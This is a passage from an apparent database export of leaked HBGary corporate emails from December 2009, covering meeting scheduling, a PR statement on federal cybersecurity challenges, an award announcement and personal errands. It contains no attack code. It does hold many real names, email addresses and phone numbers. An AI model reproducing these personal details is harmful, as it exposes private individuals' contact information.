GD as an RE and forensic powerhouse , owning cyber mission management\r\n>> and defense in depth from enterprise (whichis why SOCs are important\r\n>> because they have their target customers set up installed)  Ben can\r\n>> also drive that in Santa Clara\r\n>>\r\n>> On Wed, Dec 9, 2009 at 3:51 PM, Aaron Barr  wrote:\r\n>>>\r\n>>> How did things go today?  I was going to meet with John on Friday, but\r\n>>> I have orbital, RavenWing, and blackbird that have taken up nearly the\r\n>>> whole day.  Checking with John to see if we can do tomorrow.\r\n>>>\r\n>>> Aaron\r\n>>>\r\n>>>  From my iPhone\r\n>>>\r\n>>> On Dec 9, 2009, at 6:31 PM, Penny Leavy  wrote:\r\n>>>\r\n>>>> Hey John,\r\n>>>>\r\n>>>> We did talk to InQtel, Mark McGovern doesn\'t think end node security\r\n>>>> is a big issue to \"his\" customers.  Never mind that there is virtually\r\n>>>> no perimeter security that can protect you against malware.  I think\r\n>>>> we just need someone to sponsor.  Aaron and greg can fill you in more.\r\n>>>> Greg gets back from boston into IAD at 1:51PM on Friday, I think\r\n>>>> Aaron is planning on trying to get withyou and greg on friday.  He\'s\r\n>>>> in class today, but I\'m copying him.  We\'d love to get to see your\r\n>>>> customer.  Lots happening, that\'s for sure:)  All good\r\n>>>>\r\n>>>> On Wed, Dec 9, 2009 at 8:17 AM, John Edwards\r\n>>>>  wrote:\r\n>>>>>\r\n>>>>> Penny,\r\n>>>>>\r\n>>>>> I spoke to Aaron and I thought we were planning on something for\r\n>>>>> Friday afternoon.\r\n>>>>>\r\n>>>>> In addition, I\'m still checking with the customer - he gets back\r\n>>>>> from TDY tomorrow and I\'m checking to see if he could see us on\r\n>>>>> Friday.\r\n>>>>>\r\n>>>>> BTW, did you guys get a chance to talk to Dan & others at In-Q-Tel?\r\n>>>>>\r\n>>>>> Hope all is well.\r\n>>>>>\r\n>>>>> John\r\n>>>>>\r\n>>>>> -----Original Message-----\r\n>>>>> From: Penny Leavy [mailto:penny@hbgary.com]\r\n>>>>> Sent: Monday, December 07, 2009 12:18 PM\r\n>>>>> To: John Edwards\r\n>>>>> Subject: Greg is our this week\r\n>>>>>\r\n>>>>> DId you want to see him?  Were you able to get the meeting?\r\n>>>>>\r\n>>>>> --\r\n>>>>> Penny C. Leavy\r\n>>>>> HBGary, Inc.\r\n>>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> --\r\n>>>> Penny C. Leavy\r\n>>>> HBGary, Inc.\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Penny C. Leavy\r\n>> HBGary, Inc.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',6462,'aaron_hbgary_com/6462.html'),(558,'2009-12-10','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1296999910.M65933P3547Q555.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: Responder Training @ Thu Dec 10 8am - 5pm 	(aaron@hbgary.com)',' more details &raquo;Responder TrainingWhenThu Dec 10 8am – 5pm Eastern TimeCalendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',1403,'aaron_hbgary_com/1403.html'),(559,'2009-12-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999912.M708364P3547Q559.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','JF info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron and Ted,\r\n\r\n&nbsp;\r\n\r\nHere is the info I promised you.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16155,'aaron_hbgary_com/16155.html'),(560,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999912.M946512P3547Q560.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: HBGary Federal Customer Interview for GCN','Cybersecurity Challenges:\r\n \r\nFrom a macroscopic view common themes discussed related to\r\ncybersecurity are meeting with significant organizational and\r\nbureaucratic road blocks.  The public/private partnerhsip continues to\r\nbe a challenge because of liabilities, offense informs defense is\r\ndifficult to implement because of classification and contractual\r\nissues, data fusion and inter agency information sharing is happening\r\nslowly but not to the level required to detect, track, and mitigate the\r\nadvanced threat.  There are many organizational limitations to improved\r\ncybersecurity that at some point has be addressed.  At a working level its about resources, their is a limited number of qualified and experienced cybersecurity professionals, and the organizations at all levels charted with cybersecurity lack adequate tools and process to effectively leverage the resources they have.  The result is overburdened analysts and incident handlers that\r\nare working on a very small percentage of the problem set, almost entirely on existing identified threats.  There is a lot of discussion about training, but training really isn&#39;t the answer, training with experience is more the answer, but difficult to enforce since most of the people that sit in our cybersecurity operations centers are contract personnel on a cost competitive contract with the government.  So in most cybersecurity operations centers you have a few skilled and experienced analysts and incident handlers with a larger pool of less experienced personnel and no tools that really enhance the analysis process.  So then the question must be asked how effective as a nation can we be in protecting against the advanced persistent threat.\r\nThere are a set of capabilities, along with organizational and policy changes, that are needed to improve the state of cybersecurity; improved malware and threat analysis, knowledge and work flow management, situational awareness and visualization, and collaboration and communication.  HBGary products address a portion of these and we are reaching out to other companies in the industry that address some of the other need areas, and attempting to put together a set of associated products that more effectively address the needs of our cybersecurity operations centers.\r\nExisting technology today, if more effectively implemented, would greatly enhance our nations capabilities in cybersecurity.  As I mentioned, some of the impedance is organizational, but much is related to the proper implementation of technology and process. Unfortunately most companies developing the products are not providing the services to properly implement and mature these capabilities within the enterprise.  This is why we formed HBGary Federal, we realized that the most effective application of our product in protecting national security would be to provide a few highly capable cybersecurity professionals with HBGary and partner tools, to the critical cybersecurity mission managers.\r\nCyber defense is most effective if at some level those defending our networks have an understanding of the full spectrum of information operations.  To this end HBGary Federal will build upon a strong set of Information Operations capabilities to answer direct customer needs, but to also bring that knowledge back to improve the cybersecurity product line as well as inform the cybersecurity professionals we are placing in the cybersecurity operations centers.\r\nOK first cut.  Hows that?Aaron\r\n\r\n \r\nOn Wed, Dec 9, 2009 at 6:17 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThanks Karen.  I think as you mentioned, the customer piece will be tough, but I will send you some information today on the security challenges.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Dec 8, 2009, at 5:04 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted and Aaron, Government Computer News Bill Jackson would possibly be interested in talking to a HBGary Federal government customer about working with the new company, their security challenges, etc. Bill and I both know it is very difficult to get government security customers to go on record, but I wanted to pass along this request.\r\n\r\n\r\n \r\nHe would also be interested to learn about the specific security challenges facing US government agencies as we head into the new year. If you have anything to add, please send me a note and I&#39;ll put together a mail to send on to Bill. He is not interested in an interview right now.\r\n\r\n\r\n \r\nThanks very much.\r\nBest, Karen\r\n \r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764  -- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n',16145,'aaron_hbgary_com/16145.html'),(561,'2009-12-10','ted@hbgary.com','/aaron@hbgary.com/new/1296999913.M150441P3547Q561.eml','aaron@hbgary.com','Cybersecurity Challenges','\r\n\r\nI\'ve shared Cybersecurity Challenges\r\nMessage from ted@hbgary.com:\r\nWorking draft of Aaron&#39;s Cybersecurity Challenges.\r\nClick to open:\r\nCybersecurity Challenges\r\n\r\n\r\nGoogle Docs makes it easy to create, store and share online documents, spreadsheets and presentations.\r\n',11453,'aaron_hbgary_com/11453.html'),(562,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999913.M407190P3547Q562.eml','\"Aaron Barr\" <aaron@hbgary.com>','G&A explanation','http://www.mahnkeconsulting.com/resources/ind_rates.htm\r\n\r\nTed H. Vera\r\nPresident | COO\r\nHB Gary Federal\r\nted@hbgary.com\r\nOffice:  916-459-4727 ext 118\r\nCell:  719-237-8623\r\n\r\n\r\n\r\n',11087,'aaron_hbgary_com/11087.html'),(563,'2009-12-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999916.M551862P3547Q563.eml','all@hbgary.com','FW: Congratulations on receiving the Best Boardroom Meeting Award at the GTRA Council Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nJust wanted to share some very good news from the front\r\nlines.&nbsp; This week HBGary won a very important award at the GTRA conference\r\nwhich was held last Sunday through this Tuesday evening.&nbsp; The GTRA\r\nconference is an elite government conference that includes many CIO&#8217;s and\r\nCISO&#8217;s in the federal government.&nbsp; I attended the conference along\r\nwith Maria and our new Federal salesman Matt O&#8217;Flynn.&nbsp; Some of the attendees\r\nthat we met with:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp; Asst Secretary of Defense OSD/NII &#8211; Chief Information\r\nSecurity Officer for Dept of Defense \r\n\r\n2.&nbsp; US Treasury &#8211; Chief Information Security Officer &nbsp;\r\n\r\n3.&nbsp; Director of Incident Response &#8211; FAA\r\n\r\n4.&nbsp; IRS Deputy Chief Information Security Officer\r\n\r\n5.&nbsp; US Mint &#8211; Chief Information Security Officer \r\n\r\n6.&nbsp; HUD &#8211; Chief Information Security Officer\r\n\r\n7.&nbsp; Treasury SIGTARP Fund &#8211; Chief Information\r\nSecurity Officer\r\n\r\n&nbsp;\r\n\r\nThe tone of the conference was very refreshing.&nbsp; The conference\r\nis mainly an ALL IT conference however the underlying topic of discussion was\r\nthe complete lack of security.&nbsp; All of these folks were candid and openly\r\nadmitting to the conference attendee&#8217;s that the state of information\r\nsecurity is dismal and they all understand that they are currently penetrated\r\nto some degree or another! WOW.&nbsp; This is what we&#8217;ve been saying for\r\nyears&#8230; finally decision makers are starting to get it&#8230;.&nbsp; This\r\nis solid feedback that we&#8217;re working on products, solutions and messaging\r\nthat resonates well with senior executives in the federal government. \r\n\r\n&nbsp;\r\n\r\nWe have follow up meetings with most all of these agencies (and\r\nmore) to discuss &#8220;Enterprise Solutions&#8221; for 2010. \r\n\r\n&nbsp;\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Wednesday, December 09, 2009 5:49 PM\r\nTo: rich@hbgary.com\r\nCc: parhame@gtra.org; kellyy@gtra.org; maria@hbgary.com;\r\nmatt@hbgary.com; Penny Hoglund; phil@hbgary.com; bob@hbgary.com\r\nSubject: Re: Fw: Fwd: Congratulations on receiving the Best Boardroom\r\nMeeting Award at the GTRA Council Meeting\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nWOW, that is awesome.&nbsp; I wish I could have been at the conference, Iheard\r\nso many positive things about it, my team couldn\'t say enough nice\r\nthings.&nbsp; Thanks so much.&nbsp; This means alot \r\n\r\n\r\n\r\nOn Wed, Dec 9, 2009 at 1:42 PM, &lt;rich@hbgary.com&gt; wrote:\r\n\r\nParham and Kelly,\r\n\r\nWow! Just when I thought I couldn\'t like you guys anymore than I do... you go\r\nand do this! That is fantastic! We\'re honored to have won this award especially\r\nat GTRA because the caliber of attendees just doesn\'t get any better. The\r\nfeedback is very appreciated and helpful to us as a company because it re-affirms\r\nthat our products and solutions are resonating with the senior executives in\r\nthe federal government.\r\n\r\nAgain thank you very much for the award and such a great venue. We look forward\r\nto working with you all between now and the next conference.\r\n\r\nBest regards,\r\nRich\r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Maria Lucas &lt;maria@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Wed, 9 Dec 2009 12:58:20 -0800\r\n\r\n\r\n\r\n\r\n\r\nTo: Matt O\'Flynn&lt;matt@hbgary.com&gt;; Rich Cummings&lt;rich@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Penny C. Hoglund&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nSubject: Fwd: Congratulations on receiving the Best\r\nBoardroom Meeting Award at the GTRA Council Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat Job!\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Parham Eftekhari &lt;parhame@gtra.org&gt;\r\nDate: Tue, Dec 8, 2009 at 7:52 PM\r\nSubject: Congratulations on receiving the Best Boardroom Meeting Award at the\r\nGTRA Council Meeting\r\nTo: maria@hbgary.com, penny@hbgary.com\r\nCc: Kelly Yocum &lt;kellyy@gtra.org&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria and Penny,\r\n\r\n&nbsp;\r\n\r\nOn behalf of the GTRA Council I want to congratulate\r\nyou on receiving the Best Boardroom Meeting Award at the December 2009\r\nGTRA Council Meeting! Attendees vote for their choice through surveys they\r\nsubmit upon completion of the meeting and the winner is selected based on\r\npopular vote. This year there was a 3-way tie between you, Titus and Fortify!\r\n\r\n&nbsp;\r\n\r\nGTRA and our members are so grateful to have the opportunity\r\nto hear from Industry leaders such as yourself and I personally want to thank\r\nyou for making time in your hectic schedule to share your insights with our\r\ngroup. &nbsp;We would not be where we are today without the support of solution\r\nproviders like yourself and we are honored that you chose to support GTRA and\r\nour Council.\r\n\r\n&nbsp;\r\n\r\nAttached is a copy of the award image which we have\r\nposted on our website and will distribute via our post-event newsletter\r\ntomorrow.&nbsp; Please feel free to use it as you and/or your organization deem\r\nappropriate.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAgain, a big Congratulations and thank you for your\r\ninvolvement. I look forward to working with you again in the near future!\r\n\r\n&nbsp;\r\n\r\nKind Regards,\r\n\r\n&nbsp;\r\n\r\nParham Eftekhari\r\n\r\nCo-Founder &amp; Director of Research\r\n\r\nGovernment Technology Research Alliance (GTRA)\r\n\r\n202.248.5411 Office\r\n\r\n773.517.8534 Mobile\r\n\r\n202.351.0569 Fax\r\n\r\n&nbsp;\r\n\r\n1701 Pennsylvania Ave, NW\r\n\r\nSuite 300\r\n\r\nWashington DC, 20006\r\n\r\nwww.GTRA.org\r\n\r\nwww.GTRACouncilMeeting.org\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nError!\r\nFilename not specified.\r\n\r\n&nbsp;\r\n\r\nClick HERE to join my LinkedIN network\r\n\r\n&nbsp;\r\n\r\nGTRA&#8230; Revolutionizing the way Government &amp;\r\nTechnology Collaborate\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8453,'aaron_hbgary_com/8453.html'),(564,'2009-12-10','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999916.M802124P3547Q564.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Hi Aaron -','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nI heard you&#8217;re in the class down in DC.&nbsp; Can you do\r\ndinner tonight at Morton&#8217;s in Reston Town Center at 7:30?&nbsp; &nbsp;I&#8217;m\r\narranging a dinner for all HBGary personnel that live here or are here for the\r\ntraining. &nbsp;&nbsp;It should be about 6 of us.\r\n\r\n&nbsp;\r\n\r\nI hope to see you there if not then I&#8217;m available all day\r\nto chat on the phone, just give me a call on my cell (703-999-5012).&nbsp; &nbsp;I&#8217;m\r\ngetting caught up in the office for the rest of the day with paper and work and\r\nsome software testing.\r\n\r\n&nbsp;\r\n\r\nMortons Address\r\nReston Town Center\r\n11956 Market Street\r\nReston, VA 20190\r\n\r\nPhone: 703-796-0128\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, December 09, 2009 6:17 PM\r\nTo: Rich Cummings\r\nSubject: Re: Hi Aaron -\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey Rich,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHow about tomorrow? &nbsp;We can do phone or in person.\r\n&nbsp;Where are u and whats your schedule?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 9, 2009, at 11:09 AM, Rich Cummings wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI hope this finds you well.&nbsp; I&#8217;m sorry we haven&#8217;t\r\nspoken yet but I&#8217;m sure you know by now how fast we&#8217;re all moving\r\naround here.&nbsp; Do you have any time to get together either on the phone or\r\nin person today/tomorrow/Friday?&nbsp; I&#8217;ll be in Reston today having\r\nlunch until about 2PM and could meet up afterwards.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks very much.&nbsp; I look forward to meeting you soon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\nOffice 301-652-8885 x112\r\n\r\n\r\n\r\n\r\n\r\nCell Phone 703-999-5012\r\n\r\n\r\n\r\n\r\n\r\nWebsite:&nbsp;&nbsp;www.hbgary.com&nbsp;|email:&nbsp;rich@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3699,'aaron_hbgary_com/3699.html'),(565,'2009-12-10','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999917.M14213P3547Q565.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HBGary Federal Customer Interview for GCN','Great, thanks so much Aaron. I\'m going to put together a few bulletpoints based on your list below and send it over to GCN -- and some of the other government pubs -- to suggest possible interview with you. Best, K--- On Thu, 12/10/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: HBGary Federal Customer Interview for GCNTo: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Cc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Thursday, December 10, 2009, 6:56 AM\r\n\r\nCybersecurity Challenges:\r\n&nbsp;\r\nFrom a macroscopic view common themes discussed related to cybersecurity are meeting with significant organizational and bureaucratic road blocks.&nbsp; The public/private partnerhsip continues to be a challenge because of liabilities, offense informs defense is difficult to implement because of classification and contractual issues, data fusion and inter agency information sharing is happening slowly but not to the level required to detect, track, and mitigate the advanced threat.&nbsp; There are many organizational limitations to improved cybersecurity that at some point has be addressed.&nbsp; At a working level its about resources, their is a limited number of qualified and experienced cybersecurity professionals, and the organizations at all levels charted with cybersecurity lack adequate tools and process to effectively leverage the resources they have.&nbsp; The result is overburdened analysts and incident handlers that are working on\r\n a very small percentage of the problem set, almost entirely on existing identified threats.&nbsp; There is a lot of discussion about training, but training really isn\'t the answer, training with experience is more the answer, but difficult to enforce since most of the people that sit in our cybersecurity operations centers are contract personnel on a cost competitive contract with the government.&nbsp; So in most cybersecurity operations centers you have a few skilled and experienced analysts and incident handlers with a larger pool of less experienced personnel and no tools that really enhance the analysis process.&nbsp; So then the question must be asked how effective as a nation can we be in protecting against the advanced persistent threat.There are a set of capabilities, along with organizational and policy changes, that are needed to improve the state of cybersecurity; improved malware and threat analysis, knowledge and work flow\r\n management, situational awareness and visualization, and collaboration and communication.&nbsp; HBGary products address a portion of these and we are reaching out to other companies in the industry that address some of the other need areas, and attempting to put together a set of associated products that more effectively address the needs of our cybersecurity operations centers.Existing technology today, if more effectively implemented, would greatly enhance our nations capabilities in cybersecurity.&nbsp; As I mentioned, some of the impedance is organizational, but much is related to the proper implementation of technology and process. Unfortunately most companies developing the products are not providing the services to properly implement and mature these capabilities within the enterprise.&nbsp; This is why we formed HBGary Federal, we realized that the most effective application of our product in protecting national security would be to\r\n provide a few highly capable cybersecurity professionals with HBGary and partner tools, to the critical cybersecurity mission managers.Cyber defense is most effective if at some level those defending our networks have an understanding of the full spectrum of information operations.&nbsp; To this end HBGary Federal will build upon a strong set of Information Operations capabilities to answer direct customer needs, but to also bring that knowledge back to improve the cybersecurity product line as well as inform the cybersecurity professionals we are placing in the cybersecurity operations centers.OK first cut.&nbsp; Hows that?Aaron\r\n\r\n&nbsp;\r\nOn Wed, Dec 9, 2009 at 6:17 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThanks Karen. &nbsp;I think as you mentioned, the customer piece will be tough, but I will send you some information today on the security challenges.\r\n\r\nAaronFrom my iPhone\r\n\r\n\r\n\r\nOn Dec 8, 2009, at 5:04 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Ted and Aaron, Government Computer News Bill Jackson would possibly be interested in talking to a HBGary Federal government customer about working with the new company, their security challenges, etc. Bill and I both know it is very difficult to get government&nbsp;security customers to go on record, but I wanted to pass along this request.\r\n&nbsp;\r\nHe would also be interested to learn about the specific security challenges facing US government agencies as we head into the new year. If you have anything to add, please send me a note and I\'ll put together a mail to send on to Bill. He is not interested in an interview right now.\r\n&nbsp;\r\nThanks very much.\r\nBest, Karen\r\n&nbsp;\r\nKaren Burke\r\nOn Behalf of HBGary\r\n650-814-3764&nbsp;&nbsp;-- Aaron BarrCEOHBGary Federal Inc.719.510.8478\r\n\r\n',8714,'aaron_hbgary_com/8714.html'),(566,'2009-12-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999917.M252710P3547Q566.eml','\"Aaron Barr\" <adbarr@mac.com>','xmas','http://www.shopnwf.org/Just-for-Kids/Explore-Nature-with-Kids/2780-NWF924-Bug-Loupe-Magnifier.pro\r\n\r\nhttp://www.mindwareonline.com/MWESTORE/ProductSearch/ListDisplay.aspx\r\n\r\nhttp://www.babyscholars.com/gegemoge.html\r\n\r\nhttp://www.babyscholars.com/wedgits-purple-15-piece-set.html\r\n\r\nhttp://www.ebeanstalk.com/Guidecraft/toy-product-detail/Magneatos-36-pieces.html\r\n\r\nhttp://www.ebeanstalk.com/product_detail.php?pid=1452\r\n\r\nhttp://www.ebeanstalk.com/Guidecraft/toy-product-detail/Magneatos-Jumbo-Master-Builders-Set--89-pc.html\r\n\r\n',378,'aaron_hbgary_com/378.html'),(567,'2009-12-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999917.M448844P3547Q567.eml','johncoxcpa@verizon.net,\"Barr Aaron\" <aaron@hbgary.com>','LLC / Corp','Hi John,\r\nAaron Barr and I just left you a voicemail.  We&#39;d like to discuss the pros/cons of LLC vs Corp.When you have a moment, please give us a call back:\r\nOffice:  916-459-4727 Aaron ext 117, Ted ext 118Thanks!Ted Vera\r\n',12133,'aaron_hbgary_com/12133.html'),(568,'2009-12-10','\"John Edwards\" <John.Edwards@agilex.com>','/aaron@hbgary.com/new/1296999917.M653954P3547Q568.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about later this afternoon.&nbsp; Where are you guys going\r\nto be for most of the day?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, December 10, 2009 7:54 AM\r\nTo: John Edwards\r\nCc: Penny Leavy\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHey John,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI hadn\'t heard back yet about possibly a Friday morning.\r\n&nbsp;I can do today as well and possibly later Friday afternoon. &nbsp;I have\r\na set of meetings that stacked up on Friday that I really have to get behind me\r\nfor some upcoming recompete work, the only meeting I could push would be one\r\nwith Orbital in the later afternoon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhat do you think?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 9, 2009, at 6:16 PM, John Edwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhat about lunch on Friday?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, December\r\n08, 2009 9:01 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry for delay, I started last\r\nweek in a full sprint. &nbsp;Are you still available today or Friday? &nbsp;I\r\nam meeting Greg and Penny at 930, I think thats it for me for the day but have\r\nto double check with Penny. &nbsp;I would definitely still like to get together\r\nthis week if you available.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 8:48 AM, John\r\nEdwards wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;m good Tuesday until 1630 and anytime on Friday.&nbsp;\r\nLet me know what works for you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron\r\nBarr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, December\r\n03, 2009 7:29 AM\r\nTo:&nbsp;John Edwards\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGregs in town next week. &nbsp;Do\r\nyou have something set up with him already or should I set something, or does\r\nGreg need to be there?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEither way, Tuesday afternoon\r\nworks, also Friday works. &nbsp;Either of those days good for 